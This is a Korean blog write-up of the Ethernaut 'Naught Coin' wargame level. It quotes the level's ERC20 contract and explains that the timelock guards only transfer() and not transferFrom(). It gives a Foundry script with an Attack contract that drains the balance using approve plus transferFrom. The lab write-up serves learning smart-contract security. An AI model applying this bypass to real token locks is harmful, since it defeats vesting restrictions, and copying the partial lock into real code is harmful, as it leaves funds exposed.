Notice
Recent Posts
Recent Comments
Link
| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 |
Tags
- web assembly
- openzepplin
- hard fork
- approve
- ethernaut
- EVM
- transaction
- audit
- Ethererum
- secureum
- libray
- ethereum
- coin flip
- soft fork
- Wargame
- Smart contract
- byte code
- tx.origin
- Assembly
- NaughtCoin
- syntax
- Oracle Cloud
- web3
- Block
- writeup
- solidity
- Coin
- TransferFrom
- ethereum virtual machine
- chain reorganization
Archives
- Today
- Total
c0mpos3r
[Ethernaut] 15. Naught Coin WriteUp 본문
1. 문제 분석
NaughtCoin is an ERC20 token and you're already holding all of them. The catch is that you'll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.
NaughtCoin은 ERC20 토큰이며 이미 모든 것을 들고 있습니다. 캐치는 10 년의 잠금 기간 후에 만 전송할 수 있다는 것입니다. 자유롭게 전송할 수 있도록 다른 주소로 나가는 방법을 알아낼 수 있습니까? 토큰 균형을 0으로 얻어 레벨을 완료하십시오.
1-1. Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint256 public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}
1-2. NaughtCoin Contract 분석
취약점 발견
이 컨트랙트는 ERC20의 일부 함수만 제한하는 실수를 범했습니다.
문제점:
- transfer() 함수만 lockTokens 모디파이어로 보호됨
- transferFrom() 함수는 오버라이드되지 않음 → 제한 없음
ERC20 토큰 이동 방법:
- transfer(to, amount) - 직접 전송
- transferFrom(from, to, amount) - 허용량 기반 전송 (제한 없음)
1-3. Reference 분석
ERC20 표준 함수 정리표
View Functions (읽기 전용)
| 함수명 | 파라미터 | 반환값 | 설명 |
| name() | - | string | 토큰 이름 (예: "Bitcoin") |
| symbol() | - | string | 토큰 심볼 (예: "BTC") |
| decimals() | - | uint8 | 소수점 자리수 (보통 18) |
| totalSupply() | - | uint256 | 전체 토큰 공급량 |
| balanceOf(address) | address owner | uint256 | 특정 주소의 토큰 잔액 |
| allowance(address,address) | address owner, address spender | uint256 | 허용된 사용 가능 토큰량 |
Transfer Functions (토큰 이동)
| 함수명 | 파라미터 | 반환값 | 설명 | 이벤트 |
| transfer(address,uint256) | address to, uint256 amount | bool | 직접 토큰 전송 | Transfer |
| transferFrom(address,address,uint256) | address from, address to, uint256 amount | bool | 허용량 기반 토큰 전송 | Transfer |
Approval Functions (허용량 관리)
| 함수명 | 파라미터 | 반환값 | 설명 | 이벤트 |
| approve(address,uint256) | address spender, uint256 amount | bool | 사용 허용량 설정 | Approval |
| increaseAllowance(address,uint256) | address spender, uint256 addedValue | bool | 허용량 증가 | Approval |
| decreaseAllowance(address,uint256) | address spender, uint256 subtractedValue | bool | 허용량 감소 | Approval |
Events (이벤트)
| 이벤트명 | 파라미터 | 발생 조건 |
| Transfer | address indexed from, address indexed to, uint256 value | 토큰 이동시 |
| Approval | address indexed owner, address indexed spender, uint256 value | 허용량 설정시 |
토큰 전송 패턴
Pattern 1: Direct Transfer
// Alice가 Bob에게 직접 전송
token.transfer(bob, 100);
Pattern 2: Approval + TransferFrom
// 1단계: Alice가 Contract에게 허용
alice.approve(contract, 100);
// 2단계: Contract가 Alice → Bob 전송
contract.transferFrom(alice, bob, 100);
보안 고려사항
| 함수 | 잠재적 취약점 | 해결책 |
| approve() | Race condition 공격 | increaseAllowance() 사용 |
| transferFrom() | 무한 허용량 | 적절한 허용량 설정 |
| transfer() | 0 주소 전송 | 주소 검증 필요 |
NaughtCoin 취약점
| 제한된 함수 | 제한없는 함수 | 우회 방법 |
| transfer() | transferFrom() | approve → transferFrom |
2. Solving
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console} from "forge-std/Script.sol";
import { NaughtCoin } from "../src/NaughtCoin.sol";
contract Attack {
function attack(NaughtCoin coin, uint256 balance) public payable {
coin.transferFrom(msg.sender, address(this), balance); // 다른 주소로 조건을 우회하여 출금
}
}
contract CounterScript is Script {
address public instance = 0x62dc51f2AC04755bDF593FAf957B2489656CA4C1;
function run() public {
vm.startBroadcast();
NaughtCoin coin = NaughtCoin(instance);
Attack a = new Attack();
uint256 balance = coin.balanceOf(msg.sender); // 잔액 확인
console.log("Balance:", balance);
coin.approve(address(a), balance); // 권한 부여
a.attack(coin, balance);
vm.stopBroadcast();
}
}

3. 결론
ERC20은 두 가지 전송 방식을 제공하므로, 보안 제한시 둘 다 고려해야 함!
'Web3 > Hacking' 카테고리의 다른 글
| [Ethernaut] 18. MagicNumber WriteUp (1) | 2025.08.09 |
|---|---|
| [Ethernaut] 17. Recovery WriteUp (1) | 2025.08.08 |
| [Ethernaut] 16. Preservation WriteUp (1) | 2025.08.08 |
| [Secureum] Audit Findings 201 (3) | 2025.07.12 |
| [Secureum] Audit Findings 101 (0) | 2025.07.12 |